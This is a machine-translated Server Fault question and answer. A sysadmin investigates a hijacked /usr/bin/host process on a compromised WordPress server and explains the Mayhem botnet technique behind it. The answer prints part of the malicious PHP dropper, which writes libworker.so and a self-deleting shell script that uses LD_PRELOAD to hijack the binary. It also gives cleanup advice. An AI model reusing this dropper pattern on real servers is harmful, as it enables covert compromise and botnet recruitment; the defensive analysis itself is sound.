/ usr / bin / host wird von einem gehackten PHP-Skript ausgeführt


8

Heute habe ich eine ungewöhnlich hohe Anforderungsrate auf dem Apache-Webserver und auch einen ziemlich hohen eingehenden Netzwerkverkehr festgestellt. Beim Überprüfen der mod_status-Seite von Apache stellte ich fest, dass die fehlerhaften URLs vom Pfad stammen www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Und tatsächlich habe ich dort mehrere gehackte (verschleierte) PHP-Skripte gefunden.

Auch bemerkt seltsamer Prozess von www-Daten Benutzer ausgeführt:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Die Überprüfung /proc/7300/cmdlineergab, dass dies tatsächlich die ursprüngliche /usr/bin/hostBinärdatei ist. netstat -anpzeigte, dass viele HTTP-Verbindungen geöffnet sind, so dass die Binärdatei irgendwie missbraucht wird. debsumsbestätigte, dass die binäre Prüfsumme in Ordnung ist. Da der Prozess unter www-data user ausgeführt wurde, hatte ich keinen Grund zu der Annahme, dass der Server selbst kompromittiert wurde.

Wie wird diese Binärdatei missbraucht?

BEARBEITEN: Diese nicht allgemeine Frage zum Umgang mit kompromittierten Servern. Eher eine Frage (und bereits eine Antwort) über eine bestimmte Art von Missbrauch, wie es technisch gemacht wird, da dieser spezielle Fall ziemlich kreativ ist, wie es funktioniert. Es scheint, dass dies seit einigen Jahren in der Wildnis ist (alte Themen und Fragen von 2012) und ich bin diese Woche darauf gestoßen.


Da die verwandte Frage geschlossen ist, habe ich eine neue geöffnet und meine Ergebnisse beantwortet. serverfault.com/questions/554801/…
Marki555

Antworten:


10

Nachdem ich die Quellcodes von beleidigten PHP-Skripten eingegraben und gegoogelt habe ( dieser Thread ), habe ich eine Erklärung gefunden.

Dies ist Teil des system.phpCodes, den ich gefunden habe:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Wie es /usr/bin/hostgeht, ist etwas weiter fortgeschritten. Programme verwenden .sofür einige ihrer Funktionen Bibliotheken ( Dateien). Benutzer können LD_PRELOADeinige .so-Dateien vorab verknüpfen (), bevor sie eine legitime Binärdatei starten, um deren Verhalten zu ändern.

Wie Sie sehen können, erstellt dieses Skript eine Datei libworker.sound verwendet eine LD_PRELOADUmgebungsvariable, um sie vorab zu laden. Eine legitime hostBinärdatei macht also etwas völlig anderes.

Es erstellt ein 1.shShell-Skript und versucht, es auf verschiedene Arten auszuführen (direkt, mit atBefehl, mit Cron). Unmittelbar danach werden die Skript- und Bibliotheksdatei von der Festplatte entfernt, sodass sie nicht bemerkt wird.

Zunächst wurde ein anfälliges Wordpress-Plugin missbraucht, und der Angreifer konnte seine Dateien in Word-Writabble-Verzeichnissen ablegen.

Schadensbegrenzung bedeutet, alte Zugriffsprotokolldateien für diese Domäne zu analysieren und zu versuchen, POSTAnforderungen an ungewöhnliche Speicherorte zu finden. Beispielsweise ist es ungewöhnlich, direkt auf die PHP-Dateien des WP / Joomla-Plugins zuzugreifen. Entfernen Sie dann alle gefundenen verschleierten PHP-Dateien, hostkorrigieren Sie die Verzeichnisberechtigungen, beenden Sie laufende Prozesse und überwachen Sie die Protokolldateien auf mögliche Wiederholungen von Hacks.

EDIT: Ich habe Informationen von ESET erhalten, dass sie diese bestimmte Bibliothek und auch andere Versionen bereits erkennen. Antiviren-Unternehmen geben ihm den Namen Roopre und es scheint, dass er als Teil des Mayhem- Botnetzes verwendet wird.

Eingehende Analyse des Mayhem-Botnetzes.

Eingehende Analyse dieses Exploits.

Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.